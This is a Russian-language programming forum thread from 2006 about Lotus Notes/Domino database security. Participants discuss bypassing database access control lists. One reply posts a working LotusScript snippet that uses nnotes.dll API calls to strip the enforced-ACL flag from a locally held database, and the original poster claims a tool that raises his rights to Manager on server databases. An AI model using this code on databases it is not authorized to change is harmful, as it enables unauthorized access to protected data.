Форум программистов, компьютерный форум, киберфорум
Наши страницы
Lotus Notes/Domino: Программирование
Войти
Регистрация
Восстановить пароль
 
Рейтинг 4.65/151: Рейтинг темы: голосов - 151, средняя оценка - 4.65
Mor
0 / 0 / 0
Регистрация: 15.12.2015
#1

Безопасность *.nsf

28.06.2006, 18:43. Просмотров 27164. Ответов 16
Метки нет (Все метки)

Используя nsf c определенной dll и минуя ACL бд я добавил группу типа "Person group" c уровнем доступа "Manager" и со всеми возможными ролями в тех бд, в acl которых моя учетная запись никоим образом не была прописана, т.е. в которых по умолчанию (- Default - ) имел доступ "No Access". В тех же ACL бд, в которых эта группа уже существовала, ее уровень доступа также был повышен до уровня "Manager". Таким образом в обход ACL я получил доступ мэнэджера в тем бд, к которым прежде я доступа не имел либо имел ограниченный доступ.

Как такое может быть?
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
28.06.2006, 18:43
Ответы с готовыми решениями:

Nsf 8.5 => 6.5
Добрый вечер! Возникла такая проблема: у заказчика стоит Lotus 6.5, у меня...

Flex и Nsf
Привет всем. Есть программа на Flexe работающая с базой .nsf. Возможно ли...

Nsf+java
Привет программерам. Народ, подскажите плз, как можно вытащить инфу из бд...

Nsf -> Ms Word
Привет! Ужасно мучилась, но так и не нашла XSL-преобразование, которым можно...

Структура *.nsf
Уважаемые разработчики!!!У меня вопрос,на который не могу найти ответ.Какая...

16
ytymo myfydovo
0 / 0 / 0
Регистрация: 12.05.2006
Сообщений: 329
28.06.2006, 19:49 #2
А как добавил-то? на сервер вошел и добавил? или с рабочего места под ограниченными правами как-то ухитрился?
0
Domymo6
0 / 0 / 0
Регистрация: 07.05.2005
Сообщений: 743
28.06.2006, 21:59 #3
Через другую учетку(серверную) либо локальную базу т.е. евно не указан доступ но лакальный манагер если не стоит ECL
0
somstomtym o shyrvomymko
0 / 0 / 0
Регистрация: 26.05.2006
Сообщений: 1,313
29.06.2006, 11:00 #4
Цитата Сообщение от nor
Используя nsf c определенной dll и минуя ACL бд я добавил группу типа "Person group" c уровнем доступа "Manager" и со всеми возможными ролями в тех бд, в acl которых моя учетная запись никоим образом не была прописана, т.е. в которых по умолчанию (- Default - ) имел доступ "No Access". В тех же ACL бд, в которых эта группа уже существовала, ее уровень доступа также был повышен до уровня "Manager". Таким образом в обход ACL я получил доступ мэнэджера в тем бд, к которым прежде я доступа не имел либо имел ограниченный доступ.
Как такое может быть?
Если у злоумышленника есть физический доступ к серверу, вся безопасность идет лесом (тут Lotus мало отличается от прочих клиент-серверов, разве только наличием встроенного шифрования). Даже ДиЛяЛьки подменять не надо: просто открыть базу "локально" и вписать в ACL все, что угодно
0
Mor
0 / 0 / 0
Регистрация: 15.12.2015
30.06.2006, 21:19 #5
Для: Domino6

Ничего такого не было.
0
Mor
0 / 0 / 0
Регистрация: 15.12.2015
30.06.2006, 21:33 #6
Для: Constantin A Chervonenko

Нет, ты не прав. Я даже не понимаю, что ты имеешь в виду, потому как если у тебя нет доступа к бд, то и локально ее нельзя открыть - acl работает и на локальных бд и их репликах. Возможно тебе следует пояснить, что ты хотел сказать .
0
somstomtym o shyrvomymko
0 / 0 / 0
Регистрация: 26.05.2006
Сообщений: 1,313
02.07.2006, 11:52 #7
Цитата Сообщение от nor
Для: Constantin A Chervonenko

Нет, ты не прав. Я даже не понимаю, что ты имеешь в виду, потому как если у тебя нет доступа к бд, то и локально ее нельзя открыть - acl работает и на локальных бд и их репликах. Возможно тебе следует пояснить, что ты хотел сказать .
Локально ACL НЕ работает (читай первоисточники). Или ты имеешь в виду флажок Consyst.ACL? Так для локальной базы это фиговый листок (счищается 16-чным редактором), он только эмулирует ACL. Его ценность - возможность локальной отладки приложения
0
Mor
0 / 0 / 0
Регистрация: 15.12.2015
03.07.2006, 18:49 #8
Цитата Сообщение от Constantin A Chervonenko
Локально ACL НЕ работает (читай первоисточники). Или ты имеешь в виду флажок Consyst.ACL? Так для локальной базы это фиговый листок (счищается 16-чным редактором), он только эмулирует ACL. Его ценность - возможность локальной отладки приложения
:( Правда? Возможно я не прав.
А при помощи 16-ого редактора тебе удавалось обойти локальный ACL? Буду крайне признателен за соответствующие скриншоты и короткие пояснения данного процесса взлома в этой ветке форума. Я думаю, об этом будет интерсно узнать не только мне, но и многочисленным администраторам и девелоперам платформы Notes/Domino.
Жду с нетерпением признаться в своей некомпетентности и незнании первоисточников.
0
somstomtym o shyrvomymko
0 / 0 / 0
Регистрация: 26.05.2006
Сообщений: 1,313
03.07.2006, 20:13 #9
Цитата Сообщение от nor
:( Правда? Возможно я не прав.
А при помощи 16-ого редактора тебе удавалось обойти локальный ACL?
И даже без 16-чного, лишь бы база была доступна локально:

Declare Function NSFDbOpen Lib "nnotes.dll" (Byval pathName As String, hDB As Long) As Integer
Declare Function NSFDbReadACL Lib "nnotes.dll" (Byval hDB As Long, hACL As Long) As Integer
Declare Function ACLGetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
Declare Function ACLSetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
Declare Function NSFDbStoreACL Lib "nnotes.dll" (Byval hDB As Long, Byval hACL As Long, objectID As Long, method As Long) As Integer
Declare Function NSFDbClose Lib "nnotes.dll" (Byval hDB As Long) As Integer
Const ACL_UNIFORM_ACCESS = 1

Dim filePath As String
Dim result As Integer
Dim hDB As Long
Dim hACL As Long
Dim flags As Long

result = NSFDbOpen(filePath, hDB)
result = NSFDbReadACL(hDB, hACL)
result = ACLGetFlags(hACL, flags)
If flags And ACL_UNIFORM_ACCESS Then
flags = flags Xor ACL_UNIFORM_ACCESS
result = ACLSetFlags(hACL, flags)
result = NSFDbStoreACL(hDB, hACL, 0, 0)
Else
Print "The flag is not set. Nothyng changed."
End If
result = NSFDbClose(hDB)
0
Mor
0 / 0 / 0
Регистрация: 15.12.2015
04.07.2006, 11:50 #10
hDB - ?
hACL - ?
dwFlags - ?
Я не понимаю эти значения точно или не уверен, что правильно понимаю, потому не могу проверить код.
Что они такое и каковы их возможные значения - к примеру?
И вообще, что конкретно делает данный скрипт - можно получить комментарии, чтобы не гадать?
0
Hydk
0 / 0 / 0
Регистрация: 23.04.2006
Сообщений: 226
04.07.2006, 12:02 #11
Вот тут описано частично, на англицком
http://www.breakingpar.com/bkp/home.nsf/0/...725706200599A01
0
somstomtym o shyrvomymko
0 / 0 / 0
Регистрация: 26.05.2006
Сообщений: 1,313
04.07.2006, 12:04 #12
Цитата Сообщение от nor
hDB - ?
hACL - ?
dwFlags - ?
Я не понимаю эти значения точно или не уверен, что правильно понимаю, потому не могу проверить код.
Что они такое и каковы их возможные значения - к примеру?
И вообще, что конкретно делает данный скрипт - можно получить комментарии, чтобы не гадать?
NSFDbOpen(filePath, hDB) - открывает заданную базу, возвращая её хендл в hDB
NSFDbReadACL(hDB, hACL) - .. её ACL - в hACL
ACLGetFlags(hACL, flags) - читает флажки в переменную flags и т.д..

Скрипт - "взламывает" ACL. Весь код - из тех самых первоисточников
0
Mor
0 / 0 / 0
Регистрация: 15.12.2015
05.07.2006, 21:34 #13
Для: Constantin A Chervonenko

Ладно, что я не так делаю?

Вот код:


Код
Declare Function NSFDbOpen Lib "nnotes.dll" (Byval pathName As String, hDB As Long) As Integer
Declare Function NSFDbReadACL Lib "nnotes.dll" (Byval hDB As Long, hACL As Long) As Integer
Declare Function ACLGetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
Declare Function ACLSetFlags Lib "nnotes.dll" (Byval hACL As Long, dwFlags As Long) As Integer
Declare Function NSFDbStoreACL Lib "nnotes.dll" (Byval hDB As Long, Byval hACL As Long, objectID As Long, method As Long) As Integer
Declare Function NSFDbClose Lib "nnotes.dll" (Byval hDB As Long) As Integer


Const ACL_UNIFORM_ACCESS = 1

Dim filePath As String
Dim result As Integer
Dim hDB As Long
Dim hACL As Long
Dim flags As Long

flePath = "C:\Lotus7\notes\data\testacl.nsf"
result = NSFDbOpen(filePath, hDB)
result = NSFDbReadACL(hDB, hACL)
result = ACLGetFlags(hACL, flags)
If flags And ACL_UNIFORM_ACCESS Then
flags = flags Xor ACL_UNIFORM_ACCESS
result = ACLSetFlags(hACL, flags)
result = NSFDbStoreACL(hDB, hACL, 0, 0)
Else
Print "The flag is not set. Nothyng changed."
End If
result = NSFDbClose(hDB)
C:\Lotus7\notes\data\testacl.nsf - тестовая база, к которой я не имею доступа и стоит в которой Consyst.ACL. У меня печатает "The flag is not set. Nothyng changed." Так каким образом этот код что-то "взламывает"? Или я в чем-то ошибся? Или это очередная пустая болтовня?
0
Mydyvys
0 / 0 / 0
Регистрация: 04.12.2004
Сообщений: 3,329
06.07.2006, 09:39 #14
У меня код работает.
0
Mor
0 / 0 / 0
Регистрация: 15.12.2015
06.07.2006, 12:08 #15
Да, у меня тоже он заработал. Я признаю, что я был не прав и плохо знаю первоисточники. Спасибо Constantin A Chervonenko за разъяснение вопроса.
0
somstomtym o shyrvomymko
0 / 0 / 0
Регистрация: 26.05.2006
Сообщений: 1,313
06.07.2006, 12:16 #16
Цитата Сообщение от nor
Спасибо Constantin A Chervonenko за разъяснение вопроса.
Всегда пожалуйста. Там главное требование - локальный (физический) доступ. Или тебе удалось сломать ACL на сервере?? Признавайся, мы тебя не выдадим
0
Mor
0 / 0 / 0
Регистрация: 15.12.2015
06.07.2006, 21:01 #17
Цитата Сообщение от Constantin A Chervonenko
Всегда пожалуйста. Там главное требование - локальный (физический) доступ. Или тебе удалось сломать ACL на сервере?? Признавайся, мы тебя не выдадим
Локально только...

Вот та nsf, про которую я говорил - позволяет "взламывать" acl на сервере, см. описание выше.
0
06.07.2006, 21:01
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
06.07.2006, 21:01

Поврежденный файл nsf
Здравствуйте, У меня есть поврежденный файл NSF, я не знаю, что произошло с...

Bootmark.nsf (bookmark 8.5)
Привет всем! У меня возник вопрос. и так есть некая стандартная база лотуса...

Dll и Nsf Hook
Уважаемые! Моя история такова: я пытаюсь (первый раз в жизни) написать NSF...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
17
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc.
Рейтинг@Mail.ru